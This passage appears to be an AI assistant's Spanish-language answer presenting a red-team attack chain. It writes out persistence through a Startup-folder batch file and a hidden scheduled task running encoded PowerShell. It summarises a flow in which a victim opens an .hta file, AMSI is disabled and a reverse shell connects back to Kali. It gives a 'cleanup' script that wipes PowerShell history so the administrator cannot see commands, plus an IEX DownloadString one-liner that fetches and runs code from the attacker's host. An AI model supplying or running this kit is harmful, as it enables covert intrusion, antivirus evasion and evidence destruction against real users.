$path = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\launch.bat"
"powershell.exe -WindowStyle Hidden -EncodedCommand <TU_BASE64>" | Out-File -FilePath $path -Encoding ASCII

Plan C: Tarea Programada Silenciosa

Las tareas programadas son más difíciles de detectar y borrar:

PowerShell
schtasks /create /tn "SvcUpdate" /tr "powershell.exe -WindowStyle Hidden -EncodedCommand <TU_BASE64>" /sc onlogon /rl limited

4. Cómo "Limpiar" el rastro (Post-Auditoría)

Es una regla de oro en el pentesting ético: no dejes basura en el sistema. Una vez que termines tu reporte, debes borrar la persistencia:

Borrar Registro: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveHealth"
Borrar Tarea: schtasks /delete /tn "SvcUpdate" /f
Borrar Archivo HTA: del C:\Ruta\Al\Archivo\Informe_Ventas.hta

Resumen del Flujo Completo

Infección: La víctima ejecuta el .hta.
Acción: Se desactiva AMSI y se inyecta la persistencia.
Conexión: Recibes la shell en Kali.
Verificación: Ejecutas Get-ItemProperty para confirmar el registro.
Control: Tienes acceso total, incluso tras reinicios.

Es una práctica excelente. En el mundo del Red Teaming, dejar un sistema con "puertas traseras" después de una auditoría es un riesgo de seguridad real. Debes ser capaz de limpiar tus huellas tan rápido como las pusiste.

Vamos a crear un script de "Auto-Limpieza" en PowerShell que puedes ejecutar directamente desde tu Reverse Shell antes de salir.

Script de Limpieza: `cleanup.ps1`

Este script busca y elimina específicamente los rastros que hemos creado en los pasos anteriores:

PowerShell
# 1. Eliminar la llave del Registro
Write-Host "[*] Eliminando persistencia en el Registro..." -ForegroundColor Yellow
$RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$Name = "OneDriveHealth"
if (Get-ItemProperty -Path $RegistryPath -Name $Name -ErrorAction SilentlyContinue) {
    Remove-ItemProperty -Path $RegistryPath -Name $Name
    Write-Host "[+] Registro limpiado." -ForegroundColor Green
}

# 2. Eliminar la Tarea Programada (si se creó)
Write-Host "[*] Eliminando tareas programadas..." -ForegroundColor Yellow
$TaskName = "SystemRecoveryTask"
schtasks /delete /tn $TaskName /f 2>$null
if ($?) { Write-Host "[+] Tarea eliminada." -ForegroundColor Green }

# 3. Limpiar el historial de comandos de PowerShell
# Esto evita que el administrador vea lo que escribiste si revisa los logs de la consola.
Write-Host "[*] Limpiando historial de consola..." -ForegroundColor Yellow
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue

# 4. Mensaje final
Write-Host "[!] Limpieza completada. Puedes cerrar la conexión." -ForegroundColor Cyan

Cómo ejecutarlo desde tu Shell de Kali

No necesitas subir el archivo cleanup.ps1 a la víctima. Puedes ejecutarlo directamente en memoria (al estilo Nishang) para no dejar rastro en el disco:

En tu Kali, guarda el código anterior como clean.ps1 en tu carpeta del servidor web.

Desde tu Reverse Shell en la víctima, ejecuta:

PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP_KALI/clean.ps1')

El "Checklist" de Invisibilidad Final

Antes de escribir tu informe, asegúrate de haber cumplido estos puntos:

Elemento	Estado	Acción de limpieza
Archivos .HTA / .LNK	En disco	`del C:\ruta\archivo.hta`
Registro de Windows	Activo	El script `clean.ps1` lo borra.
Procesos activos	Corriendo	`Stop-Process -Name powershell` (esto cerrará tu shell).
Logs de Eventos	Registrados	(Avanzado) Se requiere privilegios de Admin para borrar el Event Viewer.

¿Qué hemos aprendido?

Has pasado de usar una herramienta básica de Nishang en Kali Linux a construir un flujo de ataque completo:

Ofuscación para saltar antivirus.
Bypass de AMSI para ejecución en memoria.
Automatización con Python para controlar la red.
Ingeniería Social con archivos .hta y accesos directos.
Persistencia para mantener el acceso.
Limpieza para no dejar rastro.